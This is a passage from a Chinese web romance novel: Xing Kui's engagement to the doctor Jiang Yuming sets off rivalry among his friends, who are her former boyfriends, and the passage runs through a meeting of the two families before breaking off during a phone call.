“你还有脸叫我好兄弟。”厉乘川咬牙。 “当然,我还要邀请你当伴郎。”江玉鸣眼睛都半眯起来,“振奋点儿,你的未婚妻跟我结婚,日后她就是你弟妹,你俩还能有关系,总比和猫三狗四结得好,你说对不对?” 好什么……邢葵刷完牙从卫生间出来,刚巧听到这句,立刻肩膀胳膊腿贴紧墙,当小透明。 “葵葵。”江玉鸣瞥见她,故意喊道,“厨房水波蛋保着温,你去盛一下,我有电话。” 此前,江玉鸣当着厉乘川的面一直喊邢葵全名。 他这会儿一丝半毫都不装了,甚至刻意表现他和邢葵亲近。 厉乘川气笑,连续笑了两次:“高兴得太早了,江玉鸣。别忘了,当年我和她差一点领证,都能因为意外没领成。” 江玉鸣弯了弯唇:“多谢提醒,我未来会和葵葵寸步不离的。” 她上厕所他也要跟着吗?邢葵快步溜进厨房里,拉上门,太可怕了男人! 不过江玉鸣说“弟妹”,那在和他通话的人可能是厉乘川或者周镜吧。 邢葵拿碗拿勺,舀起水波蛋,七点多周镜应该起床很久了,但他不可能大早上的刷微博,八成还没看见官宣。 迟早会得知的,她的微博转赞评正在以惊人的速度暴增,越来越多的网友正在得知。 【梁少爷要哭晕了!他染回粉发要追回天天啊。】 【对不起了梁少爷!姐夫光看模糊的侧脸都好帅啊,天天和他贴额甜蜜感快溢出手机了!】 【所以他是天天帖子里提过的人吗?真的很想知道他是不是总裁男。】 【不像,在天天的描述里,总裁男爱穿黑色,照片里的人穿白衣服。】 【律师男粉哭倒了,律师男戴金框眼镜,照片里的人不戴眼镜。】 【嘻嘻,我觉得是我们医生男!医生男迄今在帖子里出现次数最少,该他上分了!】 【都复制我的,让我们艾特梁君赫和许野,我要看打架!】 【@梁君赫@许野,快醒醒,老婆被人抢走了,睡什么睡!】 其实他俩没在睡觉,梁君赫早晨有拍摄,昨天睡得晚,在拍摄现场焦虑地拿着小镜子扒桃花眼下面,防止长了黑眼圈。 许野每天准时准点晨跑,不知为何,他感觉今早的空气质量指数不佳,跑步时拧着剑眉,额头溢汗。 包括周镜,他开着他低调的车抵达Ley&Corazón律所,捏了捏眉心, 或许是昨夜睡得浅,他的头总隐隐作疼。 梁君赫的助理比他先收到消息,双手拿着手机,不安地走近他。 许野跑到家门口,谢成雯脸上神情怜惜,在门口等他。 周镜捏着眉心,他的手机铃声响起,是周梨的来电。 同一时刻,梁君赫接过助理手机,谢成雯开口说话,周镜接通周梨的电话。 官宣微博进入梁君赫视线,谢成雯叹道“葵要和江家那孩子结婚了”,周梨发出怒吼“你和你的兄弟能不能离我姐妹远点”。 三个人,三张脸,三种表情,但都失神、愠怒、嫉妒。 等反应过来,梁君赫冲向拍摄现场外,许野转头拔腿就跑,周镜启动刚停下的车辆。 一只模型车从餐桌滑过,江玉鸣操作着遥控器:“你猜我兄弟们会不会都在赶过来?” “你不接电话,玩广告商寄给我的产品。”邢葵结束和邢知乐的通话,亲戚中年轻一辈有人知道了,想必长者们也很快会全部得知。 桌面江玉鸣的手机一直在震动,他每次都会瞧一眼,只要不是他等待的,他就拒接。期间江父来过电话,喜不自禁地批了他假期。 江玉鸣看着玩具车,弯起两眼:“我前几天刷到过一个视频,小孩子在婚礼上开玩具车给新郎新娘送婚戒,你说我要讲给他们听,他们会不会将全世界的玩具车买到断货。” 邢葵望望雄竞入脑的人,小声蛐蛐:“把你第三条腿打断不更有效。” 江玉鸣眯眼:“好孩子,你说什么?” 邢葵讪笑:“呵呵,没说什么,没说什么。” 江玉鸣将她往他腿上一拉,手指捏到她的嘴巴两边:“你说得不对,单单打断第三条腿不够,还得拔掉我的舌,砍断我的手指……” 眼瞅着他又要烧,桌上江玉鸣的手机亮起。 【您被“甜甜的恋爱会找上我”移出群聊】 【“甜甜的恋爱会找上我”邀请你加入了群聊】 江玉鸣轻挑眉梢,点开,第一条消息,是他被梁君赫群主怒气冲冲踢出了“相亲相爱兄弟群”;第二条消息,是他被拉进了新的群。 群成员四人:梁君赫、周镜、许野、江玉鸣。 群名:【背着兄弟吃独食是人吗】。 邢葵为如此直白的名字呆了下,捂住脸不好意思地撇过头,更改群名的梁君赫马不停蹄,气咻咻发起群通话。 四个人的头像齐聚,群主咬牙切齿、阴阳怪气地说出第一句话:“说好当小三,哥你怎么成正宫了?” 妈妈呀,邢葵将脸捂得更紧,恨不得再生出两只手捂住耳。 江玉鸣浑不害臊,还亲昵地拽拽她的手腕,笑眯眯地回复:“不用敬佩你哥哥。” 梁君赫转动方向盘,提高车速:“没人敬佩你!” 江玉鸣擅长变通:“那不用艳羡你哥哥。” 梁君赫噎住,周镜清冷的反驳声响起:“你不是我哥哥。” 他也正行驶在路上,电话里能听到车辆鸣笛声,似乎是周镜在按,按得不符他性格的急。 “破防了?周哥哥,我给你找个弟妹,你不为我开心吗?” 反正江玉鸣的开心溢于言表,邢葵都想缩成迷你小人,从他的腿上溜下去,他却两只手环住她的腰。 “葵葵,来,见过你的哥哥弟弟们。” 第109章 江玉鸣这么一说,再傻的人也该明白她就在旁边吧? 邢葵手抬起来,不知所措,最后落到江玉鸣手背,掐了一掐:别整太刺激!为我心脏考虑考虑。 斯文败类江医生悠悠然地笑,手翻过来,五指与她伸去掐他的手相缠。 其他人只想拿根绳子将江玉鸣缠死。 开车的梁君赫脸颊气出粉红色,没理会江玉鸣,故意甜到发齁地叫邢葵:“葵葵,结婚这事,是不是江哥勾-引你的呀?你承受不住勾-引我完全理解,咱们冲动一下就行了,人生的另一半还是要好好想。” 江玉鸣轻笑一声,凑近邢葵,高挺漂亮的鼻尖碰了下她的鼻尖:“他说你会受不了我的勾-引。” 妈妈,梁君赫说东南西北,他只听到□! 周镜那儿又传来鸣笛声,八九点正值早高峰,他从律所回来的路上八成很堵。 他的心也很堵,镜框后深邃的眸盯着拦路的车辆,他张唇问:“为什么?” 昨天在盛典后台,周镜还相信一切尽在掌握,就算不在掌握也不会失去控制。 今日天翻地覆。 其实周镜猜得到为什么,前几个月,江玉鸣一边建群,一边将事情捅给厉乘川,引得他们一个对付一个,私下里的操作他察觉到了。 只是周镜没能重视。他向邢葵打听到了江梁之争,江玉鸣落败的原因:当着她母亲的面骂过她母亲。 既如此,江玉鸣能动摇邢葵的概率微乎其微。 周镜因此将江玉鸣的威胁性视作全兄弟最弱,怎料,他对付梁君赫,厉乘川对付他,许野忙着比赛,江玉鸣竟趁他们几人皆忙碌无暇,悄悄翻身上位。 甚至不是谈恋爱,是直接结婚。 飞驰的第三辆车中,许野在后排,握拳重重捶了下窗户,前排许家司机想,幸好是自家的车。 谢成雯担忧许野急中出事,没让他开车,但许野显然嫌司机开得慢,一双猎豹一样凌厉的眼锁着司机。 司机抖抖,冷汗滑下额角,他脚都要冒火星子了少爷。 “是真结婚吗?” 许野粗哑的询问传出显示四个头像的屏幕,同时也问出梁周二人的心思,是真结婚吗? 众人皆知,邢葵在失忆前,曾计划过假结婚。 几个人都非蠢货,在看见邢葵的官宣微博后,陆陆续续都联想到这一点。 然而,江玉鸣岂会给他们答案,红润的嘴角翘起笑弧:“还不死心,各位兄弟,我诚挚地邀请你们都来给我和葵葵当伴郎,见证我们的幸福。” 谁要见证江玉鸣的幸福!将新郎换成他/他/他还差不多,三个人一齐想道。 梁君赫耐心最差:“别说话了哥,我想打到你两眼全是黑眼圈,葵葵你说,是真结婚还是假结婚。” 邢葵唇瓣微张,下一秒一只手携玫瑰香按住她的嘴巴。 江玉鸣将她禁锢到肩头,真眼说瞎话:“葵葵害羞,已经躲我怀里了,就由我这个未婚夫来代答,葵葵以后我叫,老婆以后也我叫。” 他放慢语速,“你们该叫她弟妹,或者嫂嫂。” 邢葵仰脸:已灵魂出窍,勿cue。 “你做梦!”梁君赫怒吼,估计周镜许野心里也这么想,“你等着,我这就来将你揍成大熊猫!” 江玉鸣含笑拱火:“在我未婚妻家等你们哦。” 两个小时后,许野最先到达邢葵家门口,按了几次门铃敲了几次门,无人应答。 十分钟后,周镜抵达,再几分钟后 ,梁君赫冲出电梯。 许野靠在左边墙,周镜靠在右边墙,梁君赫站在走廊,三人互相对视,了然,梁君赫拿起手机。 “说好等我们,哥你怎么跑了?” “我认真想了想,眼框打成黑眼圈什么的,还是算了吧,葵葵半夜醒来看到会怕。” 一辆深红色的布加迪行驶在路上,江玉鸣姿态散漫又得意,修长的腿踩着踏板,邢葵坐在副驾驶。 在许野他们赶到前,江玉鸣带邢葵离开了家,让赶过去的三人扑了一场空。 “哥,这么得意小心翻车。”梁君赫恨恨。 “谢谢表弟关心,不聊了,我和你嫂嫂还忙着见家长。” 电话挂断,邢葵靠着车窗,手抵着额头,内心直呼救命。 话说回来,梁君赫和她交往时,那股得意洋洋的劲儿也不相上下吧。 先前江父打过电话,表达了要见她一面的意思,这会儿江玉鸣要带她去见江父。 车内很舒适,座椅靠背自带弧度,柔软贴合后背,邢葵闻不到一点异味,车窗玻璃明明也是玻璃,看着就是要比其他车的玻璃明澈高档。 她不认识车牌子,随口问道:“你这辆车多少钱啊?” 江玉鸣也随口回答道:“四千万还是五千万,不记得了。” 邢葵前倾身体:“你花了四五千万买车居然能不记得车价?要我我都能倒着背!” 江玉鸣笑笑:“那你可能要中途换换气,不少个零,一口气报出会累。” “有钱人。”邢葵后仰头,昂贵的头枕适宜地托住她的后脑勺,迄今为止,她看过不少江玉鸣的车。 比如周镜借过的帕加尼,随她去她母亲家开的红色车辆,都是价值超过千万的豪车。 可江玉鸣日常上班开的却是二手车,邢葵猜测可能才小几万块。 “这么多好车,你平常上班怎么开辆小破烂?”江玉鸣又没有节俭的美德。 江玉鸣闻言,黑色的长眉挑起来:“我父亲说过,做医生得亲切近人,开平价车更合适。” 那也没必要开小破烂吧,像周镜那样开个十几万的奥迪不更合适? 邢葵打量江玉鸣,若有所思,辉德继承人开小破烂,比起勤俭友爱,带给人的感觉更像作秀。 江玉鸣明面上顺从江父,实则在隐晦叛逆,恐怕他名下数不清的豪车,是他报复性消费所致。 她揣摩起江父形象,严厉,固执,一个爱雕刻妻子、雕刻孩子,不惜动用暴力手段的沙文主义者。 “葵葵要是喜欢这辆车,我转给你。”江玉鸣随意地道。 “大可不必!”邢葵拒绝。 他笑了下,分出一只手,覆上她的手背,温暖地道:“不用担心我父亲,还需要你解决这种问题,我配做未婚夫吗?” 邢葵脸微微一热,反手抓住他的手指放到方向盘:“专心开你的车。” “他凭什么能当上未婚夫!”走廊里,梁君赫气到原地团团转,像只粉毛小动物转起粉色龙卷风,“到底是真结婚还是假结婚?” 是真是假,都不影响江玉鸣此刻,他就是邢葵公开的未婚夫。 “现在怎么办?我们别勾心斗角了,该合作一下吧。” 梁君赫停下来,看向另外两位进击的前男友。 周镜许野各自靠着一面墙,脸上都有阴影,他们也在想怎么办。 自对邢葵动心后,没一个人想过要放手,可是—— 许野极用力地抿了下唇瓣:“得顾及葵葵想法。” 砰,周镜如此冷静的人,也忍不住握起拳头捶墙。 梁君赫眼眶泛起红色,十指穿进他用来招桃花的粉发:“可恶,太可恶了,刚刚咱们群聊天的时候,我就该将他从头发丝骂到脚板底!” “什么群?” 叮,楼层内电梯门打开,厉乘川风尘仆仆走出,他此前人在厉家老宅,比所有人距离都远。 紧赶慢赶来到邢葵家,电梯门还没开,就听见梁君赫义愤填膺的骂声。 他说,群聊天。 什么群? 在厉乘川开车过来的路上,梁君赫将江玉鸣踹出了相亲相爱兄弟群,而周镜和许野也早就被厉乘川踢出群。 他们四个如何能群聊天? 梁君赫正拿着手机,厉乘川大步迈过去,夺过他的手机,梁君赫傲慢自大,他的手机密码极好猜。 输入六个六,厉乘川解锁梁君赫手机,进入微信。 只见置顶三个群聊: ①进击的前男友(3):梁君赫、周镜、许野。 ——此为梁君赫笨瓜版所建,曾用名:好兄弟批评教育大会、请前辈多多指教、都是我手下败将。 ②我和我的对照组(3):梁君赫、邢葵、江玉鸣。 ——此为江梁竞争时所建,后梁君赫获胜,群内不再有消息更新。 ③背着兄弟吃独食是人吗(4):梁君赫、周镜、许野、江玉鸣。 ——此为今早看到官宣微博后所建。 厉乘川瞳孔倒映着三个群聊,指节掐着手机,泛白发抖。 旋即,他还回梁君赫手机,又走向周镜。 周镜自觉,将解锁的手机递给厉乘川,置顶也有两个群聊: ①天大地大群主最大(3):邢葵、周镜、江玉鸣。 ——此为周镜建议邢葵和许野恋爱时,邢葵烦周江两个人总让她汇报,亲自创建。 ②铁杆兄弟(3):许野、江玉鸣、周镜。 ——此为江玉鸣败给梁君赫后建立,后将群主转给许野,由许野取名。 厉乘川连嘴唇都颤栗起来,将周镜的手机还回,又走向许野。 许野抬了下两手:“厉哥,没了,我在他俩在的群里面。” 他说,没了。三加二等于五,他们原本还有一个总的相亲相爱兄弟群,五加一等于六。 五个兄弟六个微信群,难道还少吗? 红白玫瑰花丛头像、灰金椭圆镜头像、操场跑道头像、桃花符头像……包括厉乘川的系统默认头,一张张头像拼接成一个个群组的头像。 过去,他们口口声声的好兄弟,一声一声的厉哥、哥…… 厉乘川气到极点,贵气俊朗的脸上,眼角都晕起薄红。 他想起其中一个群名,低沉的音线在被碾碎的信任中波动。 他问:“背着兄弟吃独食你们是人吗?” 第110章 看得出来,厉乘川真气到了要爆炸的程度,他甚至伸手,扯了两下他原本系得一丝不苟的黑色领带。 他问完那句话后,甚至上抬嘴角笑出了声。 如果邢葵在这里,估计要在心里默默说一句:怪帅的欸。 然后她会害怕,因为厉乘川要气疯了。 但他的兄弟们不会害怕,他们不惧背后偷人,也不惧当面对质。 梁君赫一点不为他做的事心虚,精致的五官透着专横意味儿,眼角张狂抬起:“哥,葵葵那么好,你折了,我们也折了,不是理所应当的吗?” 理所应当,好一句理所应当。 数年前,梁君赫要进娱乐圈当明星,是厉乘川去说服梁父。 少年时期,周镜误入歧途,是厉乘川在警局外救他。 从前,许野爱上跑步不肯从商,也是厉乘川帮忙压住金诺言董事会。 现如今他们一个个明清楚他喜欢邢葵,还一个个瞒着他在背后偷,这叫理所应当吗? 许野倒是羞愧的,可低下头后,仍然真诚说出心中想法:“嗯。” 感情不可控,爱上还不抢,那注定只能当邢葵人生的男二号。 谁也不想当男二号。 周镜心里也有一丝丝歉疚,出于这丝歉疚,也出于此刻对江玉鸣的妒忌,他决定坦言相告。 “葵葵和我交往前,江玉鸣就在和她接触,他早就背着你和她接触,他意欲挑拨江家和厉家关系。” “哇塞。”梁君赫惊讶,“这我不知情啊,厉哥别错怪我。” “没差别!”厉乘川猛地发力,砰地将梁君赫压到墙上,宽阔的胸膛起伏,眉眼间腾腾怒意。 或早或晚,或知情或不知情,都是偷,都是骗。 期间厉乘川怀疑过,可他最终都选择了相信兄弟情,结果这就是他得到的兄弟情。 他深吸一口气,放下梁君赫,锐利的眼神投向众人,“下面怎么办?不用瞒着我了吧。” 如邢葵猜想,江父是个严厉的爹味男,她坐在江家客厅内,听江父嗡嗡嗡的叨叨,内心从麻辣烫想到澳洲皇帝蟹。 不过他的爹味发言全被江玉鸣挡了回去,江父对她整体也是满意的。 江父这个人,倒没有出身偏见,否则他过去也不会娶老牌豪门看不上的歌星。 他应该私下查过她,貌似知道她父亲出轨一事,言谈间隐隐间对李正军有些瞧不起。 大哥莫说二哥啊! 还暗示她千万别“女承父业”,江玉鸣反手叩叩桌面,笑着看着江父:“我都没说介不介意,轮得到你管?” 江父愤怒:“你,跟我来书房。”他想打他。 “不去,葵葵我带你逛逛家里。”江玉鸣握住邢葵的手,在江父怒目相视中,带着她离开客厅。 久闻奥瑞莉亚湾天价豪宅大名,江家大到光是在主宅走路都要骑平衡车,更别提坐落在山上的各个副宅。 邢葵心想,江父八成也是在外头装节俭友善装得累,报复性消费将家里修建得如此豪华。 其他楼她就不逛了,一名衣着有别于常见佣人的中年女性来给她送平衡车,江玉鸣介绍:“这是江家管家,陈妈。” 邢葵对她笑笑:“你好。” 陈妈在梁佩玲还活着的时候就是江家佣人,看着江玉鸣长大,当他半个儿子,看她的眼神如同看儿媳,脸上笑容想藏都藏不了。 江玉鸣瞄了她一眼,陈妈连忙笑嘻嘻告退让他俩单独相处。 平衡车邢葵没用过,她有点怕,也好奇想试一试:“江医生,我踩上去它不会晃吧?” 江玉鸣拿着护膝蹲下,将绑带穿过她膝盖,仔细为她戴上:“有我陪着你。”他起身,“要不要再戴个头盔。” 邢葵小鸡啄米一样点头:“要要要,我可不想头再受伤。” 江玉鸣弯眼笑,走到她的正面,一只淡黄色头盔套上她的脑袋,显然他早就备好。 手指捏着调节带,在她下巴下调整松紧,指尖时不时顶到她下巴下面的软肉。 邢葵微仰着头,因为期待,杏眼亮晶晶的,头盔盖住她小半张脸,她也不知哪里戳中了江玉鸣,他一戴完,双手兀地捧住她的脸颊。 “好可爱,想亲。” “!”邢葵踮起脚尖,用坚硬的头盔撞了下他的下颌,“降温,快降温,你不想亲。” 他狭长的眼睛更加弯:“人得诚实,我特别想。” 那也不给!江父还在隔壁客厅,邢葵扭过头,看脚前的平衡车强行转移话题:“我要学平衡车。” 江玉鸣一把抱起她放上车辆,热气扑向她耳窝:“我懂,葵葵,换个地方就能亲了。” 邢葵一抖:“……我没这么说啊!” 江玉鸣贴贴那冷硬的头盔,突然变得正经:“开始吧,我教你。” 说罢,他从她身后走到左侧,虚虚搀住她的左臂,邢葵狐疑地望了望他:“真不是要将我引去某个地方亲亲?” “葵葵怎么这么想我。”江玉鸣委屈似的,“我自然真心教授,亲是学费。” 她就知道!“算了,那你好好教哦,我真不想摔到头,脑子浑噩的滋味不好受。” “嗯,控制好重心,慢慢来。” 邢葵尝试起使用平衡车,回忆起过去一些事:“我还记得,那年我脑子刚受伤那会儿,想事情转不动,说话也会管不住嘴。” 住院第一天,有护工想介绍她他能拿回扣的律所。 她本该能立即警觉,可宣传单上的专有名词就像一只只蚂蚁,爬进她受伤的大脑,张开嘴啃啮她的神经。 “你现在好多了。”江玉鸣跟在她身边。 “是啊,我好多了。”邢葵感叹,很快学会用平衡车。 “你还会变得更好。”比如解决掉催婚问题,江玉鸣陪着她走。 玻璃窗外,大片的红白玫瑰花丛,在邢葵余光掠过,她投去视线,层层簇簇的玫瑰艳丽盛放,宛如一幅硕大的彩墨画。 进主宅门时,邢葵就注意到,江玉鸣的头像正是房子门口的玫瑰。 “那是我母亲种的,红的品种叫荣耀,白的叫骄傲,她对站在聚光灯下歌唱的生活充满向往。”江玉鸣介绍。 他推开一旁的门,他引她踩着平衡车来到了他的卧室,“我母亲喜欢玫瑰,而我喜欢向日葵,我心悦你之后,你就是我的向往。” 邢葵走下平衡车,听到这一句,无法回应,挠挠额心。 “所以你让我做什么都成,我也有一个秘密不想瞒你。” 卧室最内部竟还有一个小房间,江玉鸣打开锁,落在锁上的手指蜷了蜷,似忐忑,随后开启门,声音发紧,“你看吧。” 邢葵瞳孔骤缩,悬挂着的、贴墙上的,一只一只亮黄光的小灯泡,成百上千的照片,桌面上,还有几张被“分尸”的厉乘川照片。 “这就是,你曾经跟我说的,一定能跟我离成婚的理由?” 她家长,必然不会同意她和一个表面上看潜在的杀人犯在一起。 邢葵呼吸都停止一瞬,江玉鸣的手指悄悄靠近,揪住她的袖子一小处。 “难接受吗?要不我关上门你当没看见?”他喉结缓慢滑动,将她的袖子揪出褶皱。 “江玉鸣。”邢葵念他的名字,猝地捧住他的手,头盔下,一双清澈的眼专注地望着他,“太刺激了,这绝对是我人生少有的奇妙历险。” 感情她回应不了,这个没问题。 霎时,江玉鸣瑰丽的脸怔然,似在读她的神情,继而,他极轻地启唇问:“不怕?” “我怕啊,江玉鸣,但是我觉得,你从小被抛弃被毒打,没成长为跑到大街上随机乱砍人的败类,而是建了个小房间暗地发泄,多好呀。” “那如果我告诉你,我最初答应助你解决催婚,是想破坏江厉友好,让我父亲不快呢?” 邢葵眨了一下眼:“居然是这样!没事啦,你又没伤我。” 颤抖从两人接触的手上传来,江玉鸣自眼底漾开真切的笑意,胸腔里的心脏重重地跳,他忽然找起手机。 邢葵困惑,看江玉鸣点开备忘录,备忘录置顶笔记标题怪奇怪,是一个玫瑰花的emoji,后面跟“TOP1”的字样。 也不知道江玉鸣要TOP1什么,难道是某种玫瑰花种植注意事项? 江玉鸣点开这条笔记,递给她看,里头有且仅有两行数字: 29/40, 0.5+0.5+……+0.5/10。 啥东西? 邢葵更加一头雾水,江玉鸣来解她的头盔,说了句她更搞不懂的话:“好孩子,贞洁烈男准备好献身了。” 首先,他跟她贴贴碰碰,早就不是贞洁烈男,其次:“你献身跟这两行数字有什么关系啊?” 江玉鸣捏了下她的脸颊,指腹热烘烘:“我不会输给别人。” “你不会输给别人跟数——数字指的不会是?!”邢葵愣住,震惊到捂住与“40”这个数字有关的嘴。 江玉鸣嗯哼了一声,自在地道:“我不清楚你和其他人的,先让我赢过周镜。” 邢葵挪步:“啊这,啊,这,你怎么知道是十。” 四十次吻,由于周镜规律的作息,能靠计算得出大概;十是什么鬼! 此前梁君赫中药事件,她倒是告诉过江玉鸣三,另外七次他是如何得到的! 江玉鸣不以为意:“我翻了垃圾桶。” 翻垃圾桶是小事吗?不要说得如此云淡风轻啊! 邢葵挪向房门口:“那零点五加零点五等等等又是什么情况?” 江玉鸣弯唇,她一步步挪,他就一步步接近:“是我让你舒服而我憋着的次数,葵葵来,我们今晚将所有的另一半补齐。” 变——态——啊——邢葵手伸到背后,抓门把手:“这么多次我受不了的。” 她开门便跑,“拜拜!” 一只手提拎住她的后衣领子,江玉鸣将她拉回来,牙齿咬上她的后颈,一脚踢上门。 “我是医生,我会控制在你受得了的范围内。” 救命!妈妈救我!菩萨救我! 被褥柔软,布料的窸窣声落入耳畔,邢葵陷在柔软里,不由地想,她跟江玉鸣真只亲过二十九次吗? 她感觉不止啊。 她拍了下在颈间舔咬的江玉鸣,晕乎乎纠正:“江医生,我觉得你记错了,我跟你不会只有二十九次。” 江玉鸣抬起头,将双手撑到她的头两旁,从上方眼角泛红地注视她:“没记错哦。” “不可能啊。”邢葵不信,抬起两手穿进她和江玉鸣中央,两只食指互碰,“这样,点、点、点,不就三次了吗?” 这样算,江玉鸣有时候一回就能亲十几次。 江玉鸣长睫垂下,似没瞧懂她食指互碰的含义,抑着欲的问声沙哑:“这样是哪样?” 邢葵抬起脸,连亲了他三下:“就这样啊。” 江玉鸣再次:“不懂。” 邢葵着急,再抬头,又停住,意识到:“你逗我。” 捉弄的笑容在江玉鸣脸上绽开,他整个人明艳得让邢葵恍神。 “都说了我对亲另有理解,这种短时间内的重复亲吻,无论多少次,都只算一次哦。” 他低下头来,覆盖住她的唇瓣,“葵葵,容许我不浅尝辄止。” 阳光带来第二天,邢葵半点都不想起 床,江玉鸣非要叫她起来吃早饭,说不吃早饭对身体不好。 “哦,你昨晚那样怎么没说对身体不好。”邢葵翻身钻被窝,在床上亲完又去浴室亲,羞死人了。 江玉鸣手覆上被子:“我自制力极佳,葵葵,你没事,或者……”他意味深长,“你有事让我看看?” 邢葵一下子坐起,用力按住盖到腰部的被子:“再看我要凶你了。” 江玉鸣噙起笑,覆身啄了下她的唇:“葵葵好甜。” 邢葵挡嘴,一张脸全都炸成血红色,她就不该吱声。 起床,不起江玉鸣又得烧了。洗脸刷牙,邢葵来时没带换洗衣物,江玉鸣精力旺盛,早晨就出门给她买了几套新衣服。 打开其中一个购物袋,邢葵看见贴身衣物,耳骨泛热。 换上衣服走出衣帽间,江玉鸣已经坐在沙发上等她,昨天夜里跪在她身上的长腿跷起,他正在看平板,邢葵靠近,他也不挡,坦荡地露给她看。 是婚礼请柬案例,他在挑选。 “去吃早饭吧。”江玉鸣放下平板,攥住她的手。 电梯下行,在餐厅所在的楼层停下,邢葵和江玉鸣牵着手走出,隐隐约约,好似有人声从餐厅传出。 “吃饭,没什么好招待你们的。”是江父声音。 “江叔叔别这么说。”是周镜声音? “是啊是啊,多丰盛,我们在家吃不到这么好!”是她妈妈声音?! 邢葵加快步伐,餐厅内,坐东南方向的厉乘川轻喝了口茶,许野啃着肉包,坐正西方向的周镜握着牛奶杯,东北方向梁君赫左一口牛奶右一口糕点。 江父坐在正东方主位,而和梁君赫同排,贴近江父的位置,坐着邢葵父母。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-113 第111章 不会是厉乘川他们四个,将她父母从老家接过来的吧? 邢葵走到餐厅入口,一张桌子七个人都看向她的所在,江父背着其他人,眉毛眼睛藏不住的得意,他的儿子可不止打败了梁君赫。 邢母和李正军脸上的情绪要丰富得多,喜悦、惊疑、窘迫…… 不知道厉乘川他们葫芦里卖的什么药,总归不会害她。邢葵迈腿,结婚前双方父母见面是必经流程,她顶多紧张,不至于害怕。 握着的手收紧,江玉鸣比她还紧张,领她见家长时他还让她别担心,轮到他自己见家长却惴惴不安起来,真是罕见。 不用怕,不是大事儿。 “还不过来?”餐桌左边,厉乘川品着江父的养生茶,眼角瞥向江玉鸣,离奇地道,“见过你的岳父岳母。” 邢葵头上冒出比她人还大的问号。 厉乘川旁边,许野将手里的半截肉包往嘴里一吞,小麦色的脸颊鼓鼓:“江哥,快过来见丈母娘。” 江父对面,周镜淡定地举杯喝了口牛奶,提起他没用过的筷子夹了只蒸饺放到邢母盘中:“伯母安心,我这位朋友,是个不错的人。” 餐桌右侧,许野对面,梁君赫又喝又吃,吐词含含糊糊,像硬挤出来一样:“对,我表哥,人特别好,特别适合当女婿。” 邢葵头顶的问号膨胀,顶端碰到天花板。 他们四个怎么回事?集体中邪了?! 江玉鸣低声一笑,恢复从容,拉着她来到邢母和李正军中间,彬彬有礼:“伯父伯母好久不见。” 上一回见面,他还是追求者,今日已成未婚夫,江玉鸣睨了眼梁君赫,后者压根不情愿夸他,用吃喝堵住他非常想开骂的话痨嘴。 “欸,好久不见。”邢母手足无措,嘴角往两边扯了扯,喜悦中带着一些尴尬,眼睛瞟着附近的帅哥们。 江玉鸣伸手拿了只煮鸡蛋,在桌面敲了下,递给邢葵。 邢母立即离开椅子,“你们坐,你们坐。”她去拉李正军,让他也让位。 “不用,哪有要丈母娘让座的道理。”江玉鸣止住她,离得最近的梁君赫和周镜已经站了起来,他满意地笑,带邢葵坐下。 邢葵剥蛋壳,观察众人,十有八-九是厉乘川他们将她家长带来的,所以邢母整个人透着不自在。 母亲突然得知女儿要结婚,还没消化,女儿的三个前男友,又突然接她来见未婚夫家长。 这事情,是容易让人脑子打结。 李正军就不提了,他原先误以为江玉鸣没钱,这会儿进了江家豪宅,犹如被天上掉的金砖雨砸中,眼睛笑成细线。 江父清清嗓子:“亲家公亲家母,没想到你们就这么过来,我什么都没准备。” 邢母急忙晃手:“不用准备,客气了。” 江父含笑:“我们玉鸣有幸能——” 梁君赫拿了只邢葵同款煮鸡蛋,哒哒敲桌面:“打住,繁琐的步骤免了,就聊聊什么时候结婚得了。” 江父咳嗽,梁君赫怎么比他儿子还急着结婚?提亲、彩礼,这是要全跳过啊。 “彩礼还是得聊一聊——”江父争取。 “那行。”梁君赫吞掉鸡蛋,伸指列数,“房子、珠宝、股份……具体的日后聊,总之不低于十个亿。” 吃鸡蛋的邢葵:“咳。” 怀疑听错的江父:“咳。” 紧张的邢母:“咳。” 喝茶的李正军大声喷出来:“噗。” “看什么,江叔叔,十个亿你都不肯出,那不如换——” 一只肉包塞进梁君赫的嘴,许野对大家伙儿歉然:“梁哥最近总熬夜工作,伤了脑子。” “十个亿自不是问题。” 邢葵吃惊地看向说话的江玉鸣,他眸子眨都不眨,漾着笑望了一眼她,“我的钱都会是葵葵的,彩礼十个亿还是一百亿没区别。” 江父一生要强,纵使心脏染成烂掉的青菜颜色,仍然镇定呼应:“是,无所谓,还有订婚的日子……” 邢母和李正军哪还有精神商量订婚时间,两个人都对江玉鸣无比中意。李正军是看中钱,邢母则是满意江玉鸣重视邢葵。 “不用订婚,葵葵和我商议过,我们打算直接结婚,婚期就定在两个月后。” 江玉鸣和邢葵十指相扣,与她对视,“定在我们相识的纪念日。” “真恶心,相识的纪念日。”某栋楼走廊,厉乘川将江玉鸣扔向墙边。 他的头撞上窗户,墨发摇曳,红唇艳丽地上勾:“这么嫉妒,看你们积极推动我的婚礼,还以为是想通了祝福我俩。” 怎么可能! 江玉鸣笑容恣意,理正衣襟,动作间刻意露出一点锁骨,其上,被邢葵眷顾出的红痕灼目。 厉乘川目光冷冽:“没人教你如何好好穿衣服吗?” “多谢提醒,晚上让葵葵手把手教教我。”厉乘川脸越黑,江玉鸣笑得越灿烂,“认为我跟葵葵是假结婚,想让我们快些结、快些离,喂,老厉,你就确定我们真是假结婚吗?” 那厢,邢葵向邢母确认,的确是厉乘川几个去接的她家长,也大概猜到原因。 再争抢,也不能破坏她的行动目标,所以兄弟几人开过会后,决定暂时压制住想当正宫的心,携手先助她成事。 还是半夜去接的人,极大程度避免被左右邻居撞见说闲话。 这些兄弟,人真好。 对离异女性也没丝毫偏见,邢葵有时候会想,如果邢母、高红梅以及更多人,如果她们身边没一个人歧视离异,她们会不会做出不同的选择。 “葵葵,这究竟什么情况,小镜、许野,还有小赫,怎么都在?还有那个厉乘川,不是你住院时隔壁床的那位吗?”邢母满腹疑惑。 “嗯,他们都是朋友,我就是认识了厉乘川才会结识周律师等人。” “噢噢,那他们……”邢母欲言又止,纠结好久,“妈觉得怪怪的,他们是不是还对你有意思?那……” “不会影响婚礼,妈,我有电话。”邢葵手机振动。 “行,你接哦,妈去上个厕所。” “叫个佣人带路,江家大,你别迷路了。”邢葵交代完,仍然不放心,找找附近,寻到一名在修剪盆栽的女佣,将邢母拜托给她,才去一旁接电话。 屏幕显示来电者标记:【好骗,已骗三百七十五】 “喂,骗子先生,今天有什么事吗?” 长廊尽头拐角,周镜颀长的身体靠着墙,灰壳手机放在耳边,他唇角极小地向上一弯:“没事就不能打电话给你吗?” “我以为我们就是互为电话客服的关系。”邢葵也靠到墙,听着手机里经过变音的声音。 